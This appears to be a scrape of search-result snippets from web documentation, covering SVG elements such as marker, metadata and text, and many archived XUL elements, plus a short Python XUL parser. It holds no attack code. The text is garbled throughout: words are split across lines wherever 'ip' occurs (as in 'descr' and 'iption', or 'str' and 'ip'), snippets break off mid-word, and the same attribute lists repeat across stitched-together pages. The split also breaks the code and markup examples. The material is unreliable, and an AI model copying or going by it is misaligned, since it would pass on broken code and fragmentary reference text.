value type: <list-of-numbers> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile...
...>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
<metadata> - SVG: Scalable Vector Graphics
usage context categoriesdescr
iptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
... example <svg width="400" viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:descr
iption about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera"/> </rdf:descr
iption> <rdf:descr
iption about="#cableb"> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#computerb"/> </rdf:descr
iption> <rdf:descr
iption about="#cablen"> <connect:ends rdf:resource="#socket5"/> <connect:ends>everything</connect:ends> </rdf:descr
iption> <rdf:descr
ipt...
...ion about="#hub"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#socket3"/> <connect:ends rdf:resource="#socket4"/> <connect:ends rdf:resource="#socket5"/> </rdf:descr
iption> </rdf:rdf> </metadata> <title>network</title> <desc>an example of a computer network based on a hub.</desc> <style> svg { /* default styles to be inherited */ fill: white; stroke: black; } text { fill: black; stroke: none; } path { fill: none; } </style> <!-- define symbols used in the svg --> <defs> <!-- hubplug symbol.
<text> - SVG: Scalable Vector Graphics
it's possible to apply a gradient, pattern, cl
ipping path, mask, or filter to <text>, like any other svg graphics element.
...: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility aria attributes aria-activedescenda...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescr
iptive elementstext content elements<a> specifications speci...
Using the standard theme - Archive of obsolete content
you can either add mult
iple <tt>xml-stylesheet</tt> processing instructions to your xul file, or create an <tt>@import</tt> chain.
... mult
iple <tt>xml-stylesheet</tt> processing instructions simply add one <tt>xml-stylesheet</tt> processing instruction for every style sheet you want to associate with your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> <tt>@import</tt> chains first, import the global skin in your custom style sheet using the css <tt>@import</tt> rule: @import url("chrome://global/skin/"); you then have to associate your xul file with your custom style sheet only: <?
XUL Changes for Firefox 1.5 - Archive of obsolete content
<menulist> items in a <menulist> support the descr
iption attribute to allow for extra descr
iptive text to appear beside an item's label.
... the menulist modification methods appenditem and insertitemat take an extra descr
iption argument when creating items this way.
XUL Parser in Python/source - Archive of obsolete content
def str
ip(sn
ip): t = re.sub('http://.*?\s', '', sn
ip) return t class xulparser(xmllib.xmlparser): def unknown_starttag(self, t, a): name = str
ip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][str
ip(attr)] = str
ip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file...
... in files: file = file.str
ip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</table></html>\n') w.close() ...
arrowscrollbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width clicktoscroll type: boolean clicktoscroll, if true, the arrows must be clicked to scroll the scrollbox content.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width disabled type: boolean gets and sets the value of the disabled attribute.
assign - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
bbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
bindings - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width object type: string the object of the element.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
box - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
broadcasterset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
colorpicker - Archive of obsolete content
a change event is fired in different ways for different xul input elements as listed below: onchange type: scr
ipt code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the scr
ipt context at this point can only access the following things: global values/functions i.e.
... window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="text/javascr
ipt"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </scr
ipt> <textbox id="find-text" onchange="return myfunction(event);"/> </window> preference type: id connects the element to a corresponding preference.
column - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
columns - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
dialog - Archive of obsolete content
more information is available in the xul tutorial and dialogs and prompts (code sn
ippets).
...nterwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" descr
iption="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (fo...
dropmarker - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck descr
iption dialog dialogheader e editor grid gr
ippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s scr
ipt scrollbar scrollbox scrollcor...
...ner separator spacer splitter stack statusbar statusbarpanel stringbundle stringbundleset t tab tabbrowser tabbox tabpanel tabpanels tabs template textnode textbox titlebar toolbar toolbarbutton toolbargr
ippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox toolt
ip tree treecell treechildren treecol treecols treeitem treerow treeseparator tr
iple v vbox w window wizard wizardpage ...
grid - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
groupbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
hbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
keyset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width disabled type: boolean indicates whether the element is disabled or not.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
listcol - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
listcols - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
listhead - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
listheader - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
member - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties child type: ?
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
observes - Archive of obsolete content
